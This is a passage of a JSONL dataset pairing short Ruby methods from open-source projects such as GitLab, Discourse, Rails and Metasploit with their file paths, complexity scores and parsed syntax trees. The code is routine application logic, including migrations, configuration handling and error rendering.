{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20151201035631_add_group_mentions.rb","start_line":4,"raw_source":"def change\n    create_table :group_mentions do |t|\n      t.integer :post_id\n      t.integer :group_id\n      t.timestamps null: false\n    end\n\n    add_index :group_mentions, %i[post_id group_id], unique: true\n    add_index :group_mentions, %i[group_id post_id], unique: true\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"group_mentions\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"group_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"group_mentions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"sym\",\"children\":[\"group_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"group_mentions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"sym\",\"children\":[\"post_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"5ea7a909-00b5-4d9d-8c18-6b2a690bde67"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/engine.rb","start_line":106,"raw_source":"def configure(conf)\n      @root_agent.configure(conf)\n\n      @fluent_log_event_router = FluentLogEventRouter.build(@root_agent)\n\n      if @fluent_log_event_router.emittable?\n        $log.enable_event(true)\n      end\n\n      unless @suppress_config_dump\n        $log.info :supervisor, \"using configuration file: #{conf.to_s.rstrip}\"\n      end\n    end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root_agent\"]},\"configure\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@fluent_log_event_router\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FluentLogEventRouter\"]},\"build\",{\"type\":\"ivar\",\"children\":[\"@root_agent\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fluent_log_event_router\"]},\"emittable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"enable_event\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@suppress_config_dump\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"sym\",\"children\":[\"supervisor\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"using configuration file: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"to_s\"]},\"rstrip\"]}]}]}]}]}]}]}","id":"65a4ed74-1fe0-4448-a238-2b007a413fe6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/attachmentable.rb","start_line":40,"raw_source":"def set_file_content_type(attachment) # rubocop:disable Naming/AccessorMethodName\n    return if attachment.blank? || attachment.queued_for_write[:original].blank? || !INCORRECT_CONTENT_TYPES.include?(attachment.instance_read(:content_type))\n\n    attachment.instance_write :content_type, calculated_content_type(attachment)\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_file_content_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"queued_for_write\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"original\"]}]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INCORRECT_CONTENT_TYPES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"instance_read\",{\"type\":\"sym\",\"children\":[\"content_type\"]}]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"instance_write\",{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"send\",\"children\":[null,\"calculated_content_type\",{\"type\":\"lvar\",\"children\":[\"attachment\"]}]}]}]}]}","id":"ddcce9d5-9170-41f2-998d-73ee189f8805"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace.rb","start_line":571,"raw_source":"def emails_enabled?\n    # If no namespace_settings, we can assume it has not changed from enabled\n    return true unless namespace_settings\n\n    strong_memoize(:emails_enabled_memoized) do\n      namespace_settings.emails_enabled?\n    end\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"emails_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace_settings\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"emails_enabled_memoized\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace_settings\"]},\"emails_enabled?\"]}]}]}]}","id":"b53d8714-3e53-48cb-bb2c-ef944290566e"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/middleware/render_errors.rb","start_line":66,"raw_source":"def render_exception(env, exception)\n        request = Rack::Request.new(env)\n        renderable = RenderableException.new(exception, responses: @config.render_error_responses)\n\n        status = renderable.status_code\n        request.path_info = \"/#{status}\"\n        request.set_header(Rack::REQUEST_METHOD, \"GET\")\n\n        @errors_app.call(request.env)\n      rescue Exception => failsafe_error\n        # rubocop:disable Style/StderrPuts\n        $stderr.puts \"Error during exception rendering: #{failsafe_error}\\n  #{failsafe_error.backtrace * \"\\n  \"}\"\n        # rubocop:enable Style/StderrPuts\n\n        [\n          500,\n          {\"Content-Type\" => \"text/plain; charset=utf-8\"},\n          [\"Internal Server Error\"]\n        ]\n      end","complexity_score":19.88,"ast_json":"{\"type\":\"def\",\"children\":[\"render_exception\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]},{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"renderable\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RenderableException\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"exception\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"responses\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"render_error_responses\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"renderable\"]},\"status_code\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"path_info=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"set_header\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"REQUEST_METHOD\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors_app\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"env\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"failsafe_error\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error during exception rendering: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failsafe_error\"]}]},{\"type\":\"str\",\"children\":[\"\\n  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failsafe_error\"]},\"backtrace\"]},\"*\",{\"type\":\"str\",\"children\":[\"\\n  \"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[500]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/plain; charset=utf-8\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Internal Server Error\"]}]}]}]}]},null]}]}","id":"dc6f7146-7a28-4038-9842-747a0fe9e9e1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_ae_yaml_import_export_mixin.rb","start_line":33,"raw_source":"def add_class_schema(namespace_obj, class_yaml)\n    class_attributes = class_yaml.fetch_path('object', 'attributes')\n    class_attributes['namespace_id'] = namespace_obj.id\n    class_schema = class_yaml.fetch_path('object', 'schema')\n    MiqAeClass.new(class_attributes).tap do |class_obj|\n      fields = process_fields(class_schema) unless class_schema.nil?\n      class_obj.ae_fields = fields unless fields.nil?\n      class_obj.save!\n    end\n  end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"add_class_schema\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace_obj\"]},{\"type\":\"arg\",\"children\":[\"class_yaml\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"class_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_yaml\"]},\"fetch_path\",{\"type\":\"str\",\"children\":[\"object\"]},{\"type\":\"str\",\"children\":[\"attributes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_attributes\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace_obj\"]},\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"class_schema\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_yaml\"]},\"fetch_path\",{\"type\":\"str\",\"children\":[\"object\"]},{\"type\":\"str\",\"children\":[\"schema\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAeClass\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"class_attributes\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_obj\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_schema\"]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"send\",\"children\":[null,\"process_fields\",{\"type\":\"lvar\",\"children\":[\"class_schema\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_obj\"]},\"ae_fields=\",{\"type\":\"lvar\",\"children\":[\"fields\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_obj\"]},\"save!\"]}]}]}]}]}","id":"446b5e6c-d94d-4b61-94dc-e5dd1b53fd4a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/badges/create_service.rb","start_line":6,"raw_source":"def execute(source)\n      badge = Badges::BuildService.new(params).execute(source)\n\n      badge.tap { |b| b.save }\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"badge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Badges\"]},\"BuildService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"params\"]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badge\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"save\"]}]}]}]}","id":"56eafeb5-6015-4b5a-b692-23dca28dde0b"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/iterable/client.rb","start_line":88,"raw_source":"def initialize_params(stream, record)\n            if stream.name == \"CatalogItems\"\n              [record[:catalog_name], record[:item_id]]\n            else\n              [record[:catalog]]\n            end\n          end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stream\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"CatalogItems\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"catalog_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"item_id\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"catalog\"]}]}]}]}]}","id":"0c01d4d2-f510-4082-bf53-6fdbc11d8ab0"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/api.rb","start_line":954,"raw_source":"def initialize(clean_plz = true)\n      cleanup if clean_plz\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"clean_plz\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clean_plz\"]},{\"type\":\"send\",\"children\":[null,\"cleanup\"]},null]}]}","id":"80c63e84-bd1a-40a5-bf71-945923875048"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250217125457_remove_elastic_indexing_control_worker_job_instances.rb","start_line":9,"raw_source":"def up\n    Gitlab::SidekiqSharding::Validator.allow_unrouted_sidekiq_calls do\n      job_to_remove = Sidekiq::Cron::Job.find('elastic_indexing_control_worker')\n      job_to_remove.destroy if job_to_remove\n    end\n\n    sidekiq_remove_jobs(job_klasses: DEPRECATED_JOB_CLASSES)\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SidekiqSharding\"]},\"Validator\"]},\"allow_unrouted_sidekiq_calls\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"job_to_remove\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Cron\"]},\"Job\"]},\"find\",{\"type\":\"str\",\"children\":[\"elastic_indexing_control_worker\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_to_remove\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_to_remove\"]},\"destroy\"]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"sidekiq_remove_jobs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_klasses\"]},{\"type\":\"const\",\"children\":[null,\"DEPRECATED_JOB_CLASSES\"]}]}]}]}]}]}","id":"6ce119b9-ce21-4c29-ab59-a64baf4c4ff4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/avatars_controller.rb","start_line":18,"raw_source":"def destroy\n    @project.remove_avatar!\n    @project.save\n\n    redirect_to edit_project_path(@project, anchor: 'js-general-project-settings'), status: :found\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"remove_avatar!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"edit_project_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor\"]},{\"type\":\"str\",\"children\":[\"js-general-project-settings\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"found\"]}]}]}]}]}]}","id":"28df0128-48f0-465f-96f7-9c9191d0e6e6"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/app_base.rb","start_line":406,"raw_source":"def skip_bundler_audit?\n        options[:skip_bundler_audit]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_bundler_audit?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_bundler_audit\"]}]}]}","id":"4f87f54d-c6dd-457c-bd72-3f9aaaea4fd8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/api/12_systems/gitaly/distributed_reads_spec.rb","start_line":68,"raw_source":"def read_from_project(project, number_of_reads)\n        QA::Runtime::Logger.info('Reading from the repository')\n        Parallel.each((1..number_of_reads)) do\n          Git::Repository.perform do |repository|\n            repository.uri = project.repository_http_location.uri\n            repository.use_default_credentials\n            repository.clone\n          end\n        end\n      end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read_from_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"number_of_reads\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Reading from the repository\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parallel\"]},\"each\",{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"number_of_reads\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Git\"]},\"Repository\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"uri=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"repository_http_location\"]},\"uri\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"use_default_credentials\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"clone\"]}]}]}]}]}]}","id":"eacebc41-65e9-4803-a968-354f23899b6f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/local_file_system.rb","start_line":275,"raw_source":"def path_expand_regex\n          if shell.session.platform == 'windows'\n            /%(\\w*)%/\n          else\n            /\\$(([A-Za-z0-9_]+)|\\{([A-Za-z0-9_]+)\\})|^~/\n          end\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"path_expand_regex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shell\"]},\"session\"]},\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"%(\\\\w*)%\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\$(([A-Za-z0-9_]+)|\\\\{([A-Za-z0-9_]+)\\\\})|^~\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}","id":"0b62f998-f5e6-454b-9af3-55bf0cef4f4d"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120716020835_create_site_settings.rb","start_line":4,"raw_source":"def change\n    create_table :site_settings do |t|\n      t.string :name, null: false\n      t.text :description, null: false\n      t.integer :data_type, null: false\n      t.text :value\n\n      t.timestamps null: false\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"site_settings\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"data_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"e7018210-041e-4a80-9733-399347a78ed6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb","start_line":34,"raw_source":"def test_expire_mutates_in_use\n        @adapter.lease\n        assert_predicate @adapter, :in_use?, \"adapter is in use\"\n        @adapter.expire\n        assert_not @adapter.in_use?, \"adapter is in use\"\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_expire_mutates_in_use\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@adapter\"]},\"lease\"]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"ivar\",\"children\":[\"@adapter\"]},{\"type\":\"sym\",\"children\":[\"in_use?\"]},{\"type\":\"str\",\"children\":[\"adapter is in use\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@adapter\"]},\"expire\"]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@adapter\"]},\"in_use?\"]},{\"type\":\"str\",\"children\":[\"adapter is in use\"]}]}]}]}","id":"fcf0c4e0-de58-4ac1-889d-58d565df2bbf"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/github_actions_onebox.rb","start_line":53,"raw_source":"def match\n        return @match if defined?(@match)\n\n        match_url\n        @match\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"match\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@match\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@match\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"match_url\"]},{\"type\":\"ivar\",\"children\":[\"@match\"]}]}]}","id":"4e0abbb6-bdcb-4bc0-a9a3-fe1e428db4d1"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-data-explorer/lib/discourse_data_explorer/report_generator.rb","start_line":122,"raw_source":"def self.filter_recipients_by_query_access(recipients, query, users_from_group: false)\n      users = User.where(username: recipients)\n      groups = Group.where(name: recipients)\n      emails = recipients - users.pluck(:username) - groups.pluck(:name)\n      result = []\n\n      query_group_ids = [Group::AUTO_GROUPS[:admins]].concat(query.groups.pluck(:group_id)).uniq\n\n      if users_from_group\n        result.concat(\n          User\n            .joins(:group_users)\n            .where(group_users: { group_id: groups.ids })\n            .where(\n              \"users.admin OR EXISTS (\n                SELECT 1 FROM group_users gu\n                WHERE gu.user_id = users.id\n                AND gu.group_id IN (?)\n              )\",\n              query_group_ids,\n            )\n            .distinct\n            .pluck(:username)\n            .map { |username| [username, \"username\"] },\n        )\n      else\n        groups.each do |group|\n          result << [group.name, \"group_name\"] if query_group_ids.include?(group.id)\n        end\n      end\n\n      users.each do |user|\n        result << [user.username, \"username\"] if Guardian.new(user).user_can_access_query?(query)\n      end\n\n      emails.each { |email| result << [email, \"email\"] if Email.is_valid?(email) }\n\n      result\n    